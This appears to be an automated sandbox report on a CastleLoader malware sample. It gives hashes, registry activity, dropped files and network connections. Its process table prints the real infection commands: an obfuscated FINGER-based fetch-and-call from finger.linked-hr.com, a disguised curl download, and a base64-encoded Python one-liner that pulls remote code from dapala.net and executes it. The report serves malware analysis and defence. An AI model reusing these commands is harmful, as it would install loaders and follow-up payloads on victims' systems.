| File name: | test.txt |
| Full analysis: | https://app.any.run/tasks/fee41308-9d3b-486c-a6e0-d0cd8766d3ad |
| Verdict: | Malicious activity |
| Threats: | CastleLoader is a modern malware loader designed to quietly establish initial access and deliver follow-up payloads such as stealers, RATs, and ransomware. It focuses on stealth, flexibility, and rapid payload rotation, making it an effective tool for financially motivated threat actors and a persistent problem for enterprise defenders. |
| Analysis date: | March 30, 2026, 16:54:44 |
| OS: | Windows 10 Professional (build: 19044, 64 bit) |
| Tags: | |
| Indicators: | |
| MIME: | text/plain |
| File info: | ASCII text, with no line terminators |
| MD5: | 63430A9A43D5976280121B9FEBE16569 |
| SHA1: | 5AB85B7B95156046FBA0B440C12742328BAF2368 |
| SHA256: | 700006CFDC5A363139713BF74BF59A23928AF8F11A5B560907B4227BD92077A7 |
| SSDEEP: | 6:IhZHuxQbsbYyzVP3fPUuPjLlgKa3D2fmx+e1hxy1w:IPfb9ycKq2fEhxl |
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 204 | curl -s -L --tlsv1.2 --ssl-no-revoke -o "C:\Users\admin\AppData\Local\python-3.15.0a1-embed-win32.pdf" www.python.org/ftp/python/3.15.0/python-3.15.0a1-embed-win32.zip | C:\Windows\System32\curl.exe | cmd.exe | ||||||||||||
User: admin Company: curl, https://curl.se/ Integrity Level: MEDIUM Description: The curl executable Exit code: 0 Version: 8.4.0 Modules
| |||||||||||||||
| 1500 | "C:\WINDOWS\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe" -ServerName:InputApp.AppXjd5de1g66v206tj52m9d0dtpppx4cgpn.mca | C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe | — | svchost.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Version: 123.26505.0.0 Modules
| |||||||||||||||
| 2016 | taskkill /f /im explorer.exe | C:\Windows\System32\taskkill.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Terminates Processes Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 2032 | tar -xf "C:\Users\admin\AppData\Local\python-3.15.0a1-embed-win32.pdf" -C "C:\Users\admin\AppData\Local\python-3.15.0a1-embed-win32" | C:\Windows\System32\tar.exe | cmd.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: bsdtar archive tool Exit code: 0 Version: 3.5.2 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 2164 | C:\WINDOWS\system32\cmd.exe /K for /f "skip=11 delims=" %S in ('FINGER wsMAysjGOg@finger.linked-hr.com') do call %S | C:\Windows\System32\cmd.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 2392 | "C:\Windows\system32\cmd.exe" /k start "" /min for /f "skip=11 delims=" %S in ('F^I^N^G^E^R wsMAysjGOg@f^i^n^g^e^r.^linked-hr.com') do call %S | C:\Windows\System32\cmd.exe | cmd.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 2648 | curl -s -L --tlsv1.2 --ssl-no-revoke linked-hr.com/leyts.php?Npier=1 | C:\Windows\System32\curl.exe | cmd.exe | ||||||||||||
User: admin Company: curl, https://curl.se/ Integrity Level: MEDIUM Description: The curl executable Exit code: 0 Version: 8.4.0 Modules
| |||||||||||||||
| 3276 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 3340 | C:\WINDOWS\system32\cmd.exe /c ""C:\Users\admin\AppData\Local\Temp\test.txt.bat" " | C:\Windows\System32\cmd.exe | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 4336 | "C:\Users\admin\AppData\Local\python-3.15.0a1-embed-win32\\\\\\\///////\\\\\\\///////\\\\\\\///////pythonw" -c "exec(__import__('base64').b64decode('IwBxAGUAMQBuAGsATgBiAEsARABtADMAQwBJAEIAMAB0AHIAbwB6AFYADQAKAGkAbQBwAG8AcgB0ACAAcwBzAGwADQAKAGkAbQBwAG8AcgB0ACAAdABpAG0AZQANAAoAaQBtAHAAbwByAHQAIAB1AHIAbABsAGkAYgAuAHIAZQBxAHUAZQBzAHQADQAKAHMAcwBsAC4AXwBjAHIAZQBhAHQAZQBfAGQAZQBmAGEAdQBsAHQAXwBoAHQAdABwAHMAXwBjAG8AbgB0AGUAeAB0ACAAPQAgAHMAcwBsAC4AXwBjAHIAZQBhAHQAZQBfAHUAbgB2AGUAcgBpAGYAaQBlAGQAXwBjAG8AbgB0AGUAeAB0AA0ACgBjACAAPQAgAHUAcgBsAGwAaQBiAC4AcgBlAHEAdQBlAHMAdAAuAHUAcgBsAG8AcABlAG4AKAAnAGgAdAB0AHAAOgAvAC8AZABhAHAAYQBsAGEALgBuAGUAdAAvADkANQAxADIANgBhAGUAYgAtADQAMQAyADAALQA1ADYAYgAxAC0AOABjADkAZQAtADYAMwBmAGQAZgAwAGMAMABiADYAZgA5AC8AcwBjAHIAMwAnACkALgByAGUAYQBkACgAKQAuAGQAZQBjAG8AZABlACgAJwB1AHQAZgAtADgAJwApAA0ACgB0AGkAbQBlAC4AcwBsAGUAZQBwACgAMgAuADEAKQANAAoAZQB4AGUAYwAoAGMAKQA=').decode('utf-16'))" | C:\Users\admin\AppData\Local\python-3.15.0a1-embed-win32\pythonw.exe | cmd.exe | ||||||||||||
User: admin Company: Python Software Foundation Integrity Level: MEDIUM Description: Python Version: 3.15.0a1 Modules
| |||||||||||||||
| (PID) Process: | (6952) explorer.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\CPC\Volume\{2f5c5e72-85a9-11eb-90a8-9a9b76358421} |
| Operation: | write | Name: | Data |
Value: D60D00000DF0ADBA41000000080000000000008400000000000000300000000000000000FF06E703FF00000016000000FA99B7261F00000004400010010000000000000000000000000000000000000000005C005C003F005C00530054004F005200410047004500230056006F006C0075006D00650023007B00360039006500330033003200330066002D0039003500320034002D0031003100660030002D0062003400660035002D003800300036006500360066003600650036003900360033007D002300300030003000300030003000300030003100460035003000300030003000300023007B00350033006600350036003300300064002D0062003600620066002D0031003100640030002D0039003400660032002D003000300061003000630039003100650066006200380062007D000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005C005C003F005C0056006F006C0075006D0065007B00320066003500630035006500370032002D0038003500610039002D0031003100650062002D0039003000610038002D003900610039006200370036003300350038003400320031007D005C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004E005400460053000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF0000 | |||
| (PID) Process: | (6952) explorer.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\CPC\Volume\{2f5c5e72-85a9-11eb-90a8-9a9b76358421} |
| Operation: | write | Name: | Generation |
Value: 2 | |||
| (PID) Process: | (6952) explorer.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer |
| Operation: | delete value | Name: | UpgradeOrPBRAttempts |
Value: | |||
| (PID) Process: | (6952) explorer.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer |
| Operation: | delete value | Name: | DefaultStartLayout_UseWin7UpgradeBehavior |
Value: | |||
| (PID) Process: | (6952) explorer.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer |
| Operation: | delete value | Name: | DefaultStartLayout_UseWin8UpgradeBehavior |
Value: | |||
| (PID) Process: | (6952) explorer.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer |
| Operation: | delete value | Name: | LogonWork |
Value: | |||
| (PID) Process: | (6952) explorer.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shutdown |
| Operation: | write | Name: | CleanShutdown |
Value: 0 | |||
| (PID) Process: | (6952) explorer.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Feeds\DSB |
| Operation: | write | Name: | IsDynamicContentAvailable |
Value: 1 | |||
| (PID) Process: | (6952) explorer.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Search |
| Operation: | delete value | Name: | SearchboxTaskbarModeForceGlyph |
Value: | |||
| (PID) Process: | (6952) explorer.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Search |
| Operation: | write | Name: | SearchGlyphType |
Value: 2 | |||
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 2032 | tar.exe | C:\Users\admin\AppData\Local\python-3.15.0a1-embed-win32\python315.dll | executable | |
MD5:BFE28753279E5C36675D7E7EE8C5A7B2 | SHA256:7AD66D30A04C646E4E9CCB8875C78BDDB480C4DC4766A144CEC8D96D35D120F5 | |||
| 2032 | tar.exe | C:\Users\admin\AppData\Local\python-3.15.0a1-embed-win32\pyexpat.pyd | executable | |
MD5:3FD45F485295DD44F280E0F3E1D89FBA | SHA256:4BBD6A9BF25B5B3616FDB214A05462892CF628EE2BDF38B0DDC2C8C1223203B5 | |||
| 2032 | tar.exe | C:\Users\admin\AppData\Local\python-3.15.0a1-embed-win32\unicodedata.pyd | executable | |
MD5:3095739C768F05A913CAE0578EE34A51 | SHA256:D5F53B2183DEB73C539C6B903306116CD5D917484ACE9140A851AA36FA0395A1 | |||
| 2032 | tar.exe | C:\Users\admin\AppData\Local\python-3.15.0a1-embed-win32\pythonw.exe | executable | |
MD5:71328D94E5BD61707456EF2578ECB90C | SHA256:9821D3DAD8587C083E4D3D33375A6F5A18399C882DF21E80846E93CF5404984B | |||
| 204 | curl.exe | C:\Users\admin\AppData\Local\python-3.15.0a1-embed-win32.pdf | compressed | |
MD5:696674C76BFEE9C73D86F7B7BBC11F83 | SHA256:3B797611AD41332BE215CF38F903E70625DA08753EEDAAC26F8C2B3CA4B6592C | |||
| 2032 | tar.exe | C:\Users\admin\AppData\Local\python-3.15.0a1-embed-win32\python.exe | executable | |
MD5:70EB57B202FE59562E7DCDFF1EDFD7C9 | SHA256:C616A219026FFB3A7F63B16A6E52D35CA667251E55D2CBB9E7466B2ADC2D22FC | |||
| 2032 | tar.exe | C:\Users\admin\AppData\Local\python-3.15.0a1-embed-win32\vcruntime140.dll | executable | |
MD5:C33386A6E67BE415A24D9C431FFD42AC | SHA256:EB5B47CCEDDB4A45E059C1E1FCD2EFB016CB2BD9FE1FC0FD3F4C3C4CAB04153A | |||
| 2032 | tar.exe | C:\Users\admin\AppData\Local\python-3.15.0a1-embed-win32\LICENSE.txt | text | |
MD5:F5220A3766378179DBFB98C1EAE9A464 | SHA256:935CF13E19F8C31B497D20B05D73623431A226B230C3599BC30FA3348979BC68 | |||
| 2032 | tar.exe | C:\Users\admin\AppData\Local\python-3.15.0a1-embed-win32\select.pyd | executable | |
MD5:696674C76BFEE9C73D86F7B7BBC11F83 | SHA256:3B797611AD41332BE215CF38F903E70625DA08753EEDAAC26F8C2B3CA4B6592C | |||
| 2032 | tar.exe | C:\Users\admin\AppData\Local\python-3.15.0a1-embed-win32\_asyncio.pyd | executable | |
MD5:7B72F6CD4EE18893672DD2E48C88BCE7 | SHA256:DA2AA115615A0B37C902F87E46338010C1677BE9CEA608DB04558AFBAC8B4B6A | |||
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
204 | curl.exe | GET | — | 151.101.0.223:443 | https://www.python.org/ftp/python/3.15.0/python-3.15.0a1-embed-win32.zip | US | — | — | unknown |
— | — | GET | 200 | 23.216.77.22:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | NL | binary | 825 b | whitelisted |
— | — | GET | 200 | 23.59.18.102:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | US | binary | 814 b | whitelisted |
5532 | SearchApp.exe | GET | 200 | 23.11.41.157:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAjTxtAB8my1oj8MfWpz%2F7Y%3D | NL | binary | 313 b | whitelisted |
5532 | SearchApp.exe | GET | 200 | 204.79.197.203:80 | http://oneocsp.microsoft.com/ocsp/MFQwUjBQME4wTDAJBgUrDgMCGgUABBQ3L3%2F%2Fa6ADK8NraY2GXzVaYrHG4AQUb6t%2B2v%2BXQ3LsO2d33oJhNYhHQoUCEzMAAAAGb6JMMcOVb6sAAAAAAAY%3D | US | binary | 959 b | whitelisted |
204 | curl.exe | GET | 301 | 151.101.0.223:80 | http://www.python.org/ftp/python/3.15.0/python-3.15.0a1-embed-win32.zip | US | — | — | unknown |
2648 | curl.exe | GET | 301 | 104.21.75.136:80 | http://linked-hr.com/leyts.php?Npier=1 | US | html | 366 b | unknown |
4336 | pythonw.exe | GET | 200 | 173.232.146.146:80 | http://dapala.net/95126aeb-4120-56b1-8c9e-63fdf0c0b6f9/scr3 | US | text | 19.0 Kb | unknown |
5316 | svchost.exe | GET | 200 | 23.11.41.157:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAz1vQYrVgL0erhQLCPM8GY%3D | NL | binary | 471 b | whitelisted |
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
4 | System | 192.168.100.255:137 | — | Not routed | — | whitelisted |
7784 | svchost.exe | 20.73.194.208:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | US | whitelisted |
— | — | 20.73.194.208:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | US | whitelisted |
— | — | 23.216.77.22:80 | crl.microsoft.com | AKAMAI-ASN1 | NL | whitelisted |
— | — | 48.192.1.64:443 | activation-v2.sls.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | US | whitelisted |
— | — | 23.59.18.102:80 | www.microsoft.com | AKAMAI-AS | US | whitelisted |
5532 | SearchApp.exe | 2.16.204.160:443 | www.bing.com | AKAMAI-ASN1 | NL | whitelisted |
5532 | SearchApp.exe | 23.11.41.157:80 | ocsp.digicert.com | AKAMAI-AMS | NL | whitelisted |
5532 | SearchApp.exe | 204.79.197.203:80 | oneocsp.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | US | whitelisted |
4 | System | 192.168.100.255:138 | — | Not routed | — | whitelisted |
Domain | IP | Reputation |
|---|---|---|
settings-win.data.microsoft.com |
| whitelisted |
crl.microsoft.com |
| whitelisted |
activation-v2.sls.microsoft.com |
| whitelisted |
www.microsoft.com |
| whitelisted |
google.com |
| whitelisted |
www.bing.com |
| whitelisted |
ocsp.digicert.com |
| whitelisted |
oneocsp.microsoft.com |
| whitelisted |
finger.linked-hr.com |
| unknown |
www.python.org |
| whitelisted |
PID | Process | Class | Message |
|---|---|---|---|
4336 | pythonw.exe | Attempted Information Leak | ET INFO Python-urllib/ Suspicious User Agent |